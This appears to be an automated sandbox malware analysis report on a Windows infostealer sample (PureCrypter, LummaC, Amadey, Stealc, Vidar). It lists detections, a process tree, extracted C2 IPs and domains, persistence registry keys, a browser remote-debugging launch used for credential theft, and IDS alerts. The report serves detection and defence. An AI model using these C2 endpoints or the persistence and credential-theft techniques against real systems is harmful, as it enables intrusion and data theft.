Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557428
MD5:	bed918183c456251eb2def949e77e958
SHA1:	18cd870f1fe9729e2ca7040c94ae96cb5a06d54f
SHA256:	85765fad0f7110797e87c8765fdba37475435c1e1ac17096d58badc90c555acc
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6396 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BED918183C456251EB2DEF949E77E958)

chrome.exe (PID: 880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 316 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2140,i,6862052502615090198,14872134904114190973,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7960 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7504 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2408,i,12531536969233449593,15668057242501277560,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9204 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGIJEGHDA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIDGIJEGHDA.exe (PID: 8008 cmdline: "C:\Users\user\DocumentsIDGIJEGHDA.exe" MD5: 0E21EAF5F28B78B503C0C0C7BE26AD44)

skotes.exe (PID: 8660 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0E21EAF5F28B78B503C0C0C7BE26AD44)

msedge.exe (PID: 7648 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8220 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8252 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7084 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9088 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6312 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8012 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8568 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0E21EAF5F28B78B503C0C0C7BE26AD44)

skotes.exe (PID: 8968 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0E21EAF5F28B78B503C0C0C7BE26AD44)

fd5d5b30e9.exe (PID: 7460 cmdline: "C:\Users\user~1\AppData\Local\Temp\1007095001\fd5d5b30e9.exe" MD5: 277F5FBCA9AEC3C4207DBFE1DB4DB5E2)

1e42688e0b.exe (PID: 7192 cmdline: "C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe" MD5: 1C9BABA3863EB6E2CD1FCFCB0FB31D1F)

36030a5366.exe (PID: 1008 cmdline: "C:\Users\user~1\AppData\Local\Temp\1007105001\36030a5366.exe" MD5: BED918183C456251EB2DEF949E77E958)

1e1f95e037.exe (PID: 8648 cmdline: "C:\Users\user~1\AppData\Local\Temp\1007106001\1e1f95e037.exe" MD5: B651212B079AAAE7A41A35932178135F)

taskkill.exe (PID: 5064 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

1e42688e0b.exe (PID: 6212 cmdline: "C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe" MD5: 1C9BABA3863EB6E2CD1FCFCB0FB31D1F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["p10tgrace.sbs", "p3ar11fter.sbs", "peepburry828.sbs", "processhol.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1324485561.0000000005460000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1717072391.000000000177E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2579040846.0000000001453000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000003.2530441716.00000000058A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1714173625.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.1760251445.0000000000151000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2570249819.0000000001453000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.1801585613.0000000000131000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2563544731.0000000000B23000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000017.00000002.1799439345.0000000000131000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.2623729686.0000000000B26000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000016.00000003.1759202166.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2526817370.000000000144B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.1719674927.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2607160186.0000000000131000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2226939126.0000000005160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2579317414.0000000000F01000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.1758850070.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2586073868.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6396	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6396	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6396	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6396	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1e42688e0b.exe PID: 7192	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1e42688e0b.exe PID: 7192	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 36030a5366.exe PID: 1008	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 36030a5366.exe PID: 1008	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1e1f95e037.exe PID: 8648	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author
27.2.skotes.exe.130000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.130000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsIDGIJEGHDA.exe.150000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.130000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8968, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1e42688e0b.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6396, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 880, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8968, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1e42688e0b.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe, CommandLine: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8568, ProcessName: skotes.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:57:13.723686+0100	2028371	3	Unknown Traffic	192.168.2.7	50130	188.114.96.3	443	TCP
2024-11-18T08:57:15.698908+0100	2028371	3	Unknown Traffic	192.168.2.7	50132	188.114.96.3	443	TCP
2024-11-18T08:57:20.867304+0100	2028371	3	Unknown Traffic	192.168.2.7	50135	188.114.96.3	443	TCP
2024-11-18T08:57:23.449341+0100	2028371	3	Unknown Traffic	192.168.2.7	50137	188.114.96.3	443	TCP
2024-11-18T08:57:23.942798+0100	2028371	3	Unknown Traffic	192.168.2.7	50139	188.114.96.3	443	TCP
2024-11-18T08:57:25.233726+0100	2028371	3	Unknown Traffic	192.168.2.7	50141	188.114.96.3	443	TCP
2024-11-18T08:57:26.002795+0100	2028371	3	Unknown Traffic	192.168.2.7	50142	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:57:14.473818+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50130	188.114.96.3	443	TCP
2024-11-18T08:57:16.242944+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50132	188.114.96.3	443	TCP
2024-11-18T08:57:24.524943+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50139	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:57:14.473818+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50130	188.114.96.3	443	TCP
2024-11-18T08:57:24.524943+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50139	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:57:16.242944+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50132	188.114.96.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:57:02.403164+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50126	185.215.113.43	80	TCP
2024-11-18T08:57:13.543257+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50129	185.215.113.43	80	TCP
2024-11-18T08:57:18.847119+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50133	185.215.113.43	80	TCP
2024-11-18T08:57:24.116613+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50138	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:55:21.434677+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49706	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:55:21.327104+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:55:21.709310+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:55:22.989159+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:55:21.899428+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49706	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:57:21.843086+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50135	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:55:21.044048+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49706	185.215.113.206	80	TCP
2024-11-18T08:57:22.116319+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50136	185.215.113.206	80	TCP
2024-11-18T08:57:34.661119+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	53155	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:56:52.074823+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50123	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:57:01.499104+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	50124	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:56:55.412143+0100	2803305	3	Unknown Traffic	192.168.2.7	50125	31.41.244.11	80	TCP
2024-11-18T08:57:03.982845+0100	2803305	3	Unknown Traffic	192.168.2.7	50127	185.215.113.16	80	TCP
2024-11-18T08:57:14.477412+0100	2803305	3	Unknown Traffic	192.168.2.7	50131	185.215.113.16	80	TCP
2024-11-18T08:57:19.982315+0100	2803305	3	Unknown Traffic	192.168.2.7	50134	185.215.113.16	80	TCP
2024-11-18T08:57:25.051172+0100	2803305	3	Unknown Traffic	192.168.2.7	50140	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T08:55:23.503035+0100	2803304	3	Unknown Traffic	192.168.2.7	49706	185.215.113.206	80	TCP
2024-11-18T08:55:44.425842+0100	2803304	3	Unknown Traffic	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:45.638232+0100	2803304	3	Unknown Traffic	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:46.209515+0100	2803304	3	Unknown Traffic	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:47.723629+0100	2803304	3	Unknown Traffic	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:48.784036+0100	2803304	3	Unknown Traffic	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:49.304104+0100	2803304	3	Unknown Traffic	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:53.998809+0100	2803304	3	Unknown Traffic	192.168.2.7	49999	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpKw5	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api/?2	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php105001	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpi=	Avira URL Cloud: Label: malware
